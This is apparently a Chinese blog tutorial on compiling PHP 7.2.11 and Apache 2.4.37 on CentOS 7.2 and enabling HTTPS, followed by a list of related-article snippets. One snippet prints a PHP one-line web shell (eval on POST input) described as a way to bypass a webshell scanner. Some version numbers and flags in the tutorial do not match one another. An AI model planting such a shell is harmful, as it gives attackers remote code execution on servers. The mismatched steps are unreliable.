一、php7.2.11源码安装

1.下载php7.2.11

wget http://cn2.php.net/downloads.php/php-7.2.11.tar.gz####

2.安装依赖

yum -y install php-mcrypt libmcrypt libmcrypt-devel autoconf freetype gd jpegsrc libmcrypt libpng libpng-devel libjpeg libxml2 libxml2-devel zlib curl curl-devel

3.编译配置

./configure --prefix=/usr/local/php/ --with-apxs2=/usr/local/apache/bin/apxs --enable-mbstring--with-curl --with-gd --enable-fpm --enable-mysqlnd --with-pdo-mysql=mysqlnd --with-config-file-path=/usr/local/php/etc/ --with-mysqli=mysqlnd --with-mysql-sock=/var/lib/mysql/mysql.sock
配置注释:
--prefix 安装目录

--with-apxs2 apache文件所在地

--with-mysql-sock=/var/lib/mysql/mysql.sock mysql的sock文件地址

--enable-mbstring 支持mbstring

--with-curl 支持curl

--with-gd 支持gd

--enable-fpm 支持fpm

--enable-mysqlnd --with-pdo-mysql pdo支持
编译配置的时候,如果有错误提示,则按照相应的提示依次安装依赖库

4.编译安装

make && make install

5.配置文件

安装完成后需要把源码包的配置文件放到php的安装目录下,源码包中有两个配置 php.ini-development php.ini-production ,看名字就知道,一个是开发环境,一个是生产环境,我们这里就复制开发环境的
cp php.ini-development /usr/local/php/etc/php.ini

二、apache2.4.37安装

1.下载所需源码包

Apr:wget http://archive.apache.org/dist/apr/apr-1.5.2.tar.gz
Apr-Util:wget http://archive.apache.org/dist/apr/apr-util-1.5.4.tar.gz
pcre:wget http://jaist.dl.sourceforge.net/project/pcre/pcre/8.39/pcre-8.39.tar.gz
apache:wget http://apache.cs.utah.edu//httpd/httpd-2.4.37.tar.gz

2.安装相关软件包

yum -y install gcc gcc++ zlib zlib-devel
如果报错可以试试一个一个的安装

3.开始安装

安装apr

进入解压的软件包目录里面
cd apr-1.5.2
编译配置
./configure --prefix=/usr/local/apr/
编译安装
make && make install

安装apr-Util

进入解压的软件包目录里面
cd apr-util-1.5.4
编译配置
./configure --prefix=/usr/local/apr-util/ --with-apr=/usr/local/apr/
编译安装
make && make install

安装pcrel

进入解压的软件包目录里面
cd pcre-8.40
编译配置
./configure --prefix=/usr/local/pcre/
编译安装
make && make install

安装Apache

进入解压的软件包目录里面
cd httpd-2.4.25
编译配置
./configure --prefix=/usr/local/apache24/ --with-apr=/usr/local/apr/ --with-apr-util=/usr/local/apr-util/ --with-pcre=/usr/local/pcre/
编译安装
make && make install

启动和配置

启动

进入apache目录
cd /usr/local/apache24/bin/
启动|停止|重启apache
./apachectl start|stop|restart

开机启动

cp /usr/local/apache24/bin/apachectl /etc/rc.d/init.d/httpd
修改脚本
vim /etc/rc.d/init.d/httpd
在#!/bin/sh下面添加以下两句后保存
#chkconfig: 345 70 70
#description: apache
chkconfig: 2345 70 60中的2345是指脚本的运行级别,即在2345这4种模式下都可以运行,234都是文本界面,5是图形界面X,70是指脚本将来的启动顺序号,如果别的程序的启动顺序号比70小(比如44、45),则脚本需要等这些程序都启动以后才启动。60是指系统关闭时,脚本的停止顺序号

把Apache添加到系统服务并自启
加入系统服务
chkconfig --add httpd
开机自启
chkconfig httpd on

安装https

1.申请证书

我买的是阿里云的免费ssl证书,购买方法:
1.选择品牌:Symantec->2选择保护类型:1个域名->3.证书类型:免费性DV SSL
然后买完之后验证审核,然后下载apache需要使用的三个文件public.crt、key、chain.crt上传到服务器

2.安装ssl模块

1.如果已经安装了mod_ssl.so,直接到第二步
yum install -y mod_ssl
2.打开apache配置文件的mod_ssl.so扩展
vi /usr/local/apache24/conf/httpd.conf
②找到#LoadModule ssl_module modules/mod_ssl.so
③删除注释符号“#”,保存退出。

3.配置apache

1.找到apache安装目录下conf/extra/httpd-ssl.conf,然后根据实际情况配置


4.重启apache

/usr/local/apache24/bin/apachectl restart

centos7.2 源码编译安装php7.2.4 apache2.4.37 https证书安装的更多相关文章

  1. CentOS7.6源码编译安装PHP 7.3.8

    安装步骤 PHP官网下载链接:https://www.php.net/downloads.php 1. 使用wget命令下载源码安装包 wget https://www.php.net/distrib ...

  2. Centos7.X 源码编译安装subversion svn1.8.x

    说明:SVN(subversion)的运行方式有两种:一种是基于Apache的http.https网页访问形式:还有一种是基于svnserve的独立服务器模式.SVN的数据存储方式也有两种:一种是在B ...

  3. CentOS7.5源码编译安装mysql5.7.29

    #查看系统版本 [root@ctos3 ~]# cat /etc/redhat-release CentOS Linux release (Core) #下载源码包,需要注意的是mysql5.7 编译 ...

  4. Centos7下源码编译安装python3.6

    测试环境: 操作步骤: 1. 下载Python源码包(python3.6.0) 官网下载地址:https://www.python.org/downloads/ 搜狐下载地址:http://mirro ...

  5. Centos7.2源码编译安装LA(N)MP

    LAMP环境中php是作为apache的模块安装的,所以安装顺序是php放在apache的后面安装,这样便于安装php时可以在apache的模块目录生成对应的php模块. apache版本:2.4.3 ...

  6. centos7下源码编译方式安装httpd

    前言 Apache至少需要apr.apr-util.pcre组件的支持. APR(Apache portable Run-time libraries,Apache可移植运行库)的目的如其名称一样,主 ...

  7. Centos7.5 源码编译安装PHP

    安装依赖 yum -y install epel-release yum -y install  gcc gcc-c++ make pcre pcre-devel zlib zlib-devel op ...

  8. Centos7下源码编译安装与配置redis5.0

    1.下载redis5.0源码包 wget http://download.redis.io/releases/redis-5.0.5.tar.gz 2.检查是否安装过之前的历史版本 rpm -qa|g ...

  9. Centos7源码编译安装PHP7.2(生产环境)

    安装PHP依赖包,否则在编译的过程中可能会出现各种报错 # Centos 安装epel-release源并将系统包更新到最新版本 $ yum install epel-release-y $ yum ...

随机推荐

  1. zabbix加入TCP连接数及状态的监控

    一 监控原理: [root@ nginx]# /bin/netstat -an|awk '/^tcp/{++S[$NF]}END{for(a in S) print a,S[a]}' TIME_WAI ...

  2. 深入理解磁盘文件系统之inode

    一.inode是什么? 理解inode,要从文件储存说起. 文件储存在硬盘上,硬盘的最小存储单位叫做"扇区"(Sector).每个扇区储存512字节(相当于0.5KB). 操作系统 ...

  3. 绕过D盾的一句话

    一个很简单的一个技巧,作个笔记,可以绕过D盾检测. 新建test1.php <?php eval($_POST[g]); ?> 新建test2.php <?php $a=" ...

  4. MongoDB 备份恢复

    备份: mongodump --host -u admin -p -o /tmp/alldb/ // 备份所有的库 mongodump --host -u admin -p -d mydb -o /t ...

  5. 关于Android不能启动的问题

    关于Android不能启动的问题 untracked pid exited[日期:2013-03-26] 来源:Linux社区  作者:Linux [字体:大 中 小]   1.ok6410nandf ...

  6. 团购已满,O2O只是个笑话吗?

    团购的用户习惯经过多年的“发酵”以后,大多数用户的团购习惯已经养成,同样一张电影票团购和直接现场购买的差价在一倍以上,当然O2O领域的其他情况也差不多,面对明显的“优惠”,用户当然乐意使用团购服务. ...

  7. React Native(三)——推送jpush-react-native

    瞬间,有种满血复活的赶脚…… 原因呢,就是熟悉了rn项目的套路:当老大问道,“推送功能看了还是没看呢?”的时候,虽然一直没有调试通,但还是不怯场的回答,“看了,按照网上说的也配了,但是还是用不了,不知 ...

  8. 《Mysql 入门很简单》(读后感②)

    接上篇~ 1.UNIX时间戳函数: UNIX_TIMESTAMP()函数以UNIX时间戳的形式返回当前时间: UNIX_TIMESTAMP(d)函数将时间d以UNIX时间戳的形式返回: FROM_UN ...

  9. [iOS] 在 ios10 中使用 imessage

    本文转载至 http://www.tuicool.com/articles/zIFvQn7   原文  http://www.bourbonz.cn/在ios10中使用imessage/ 主题 iOS ...

  10. 【LeetCode OJ】Remove Nth Node From End of List

    题目:Given a linked list, remove the nth node from the end of list and return its head. For example: G ...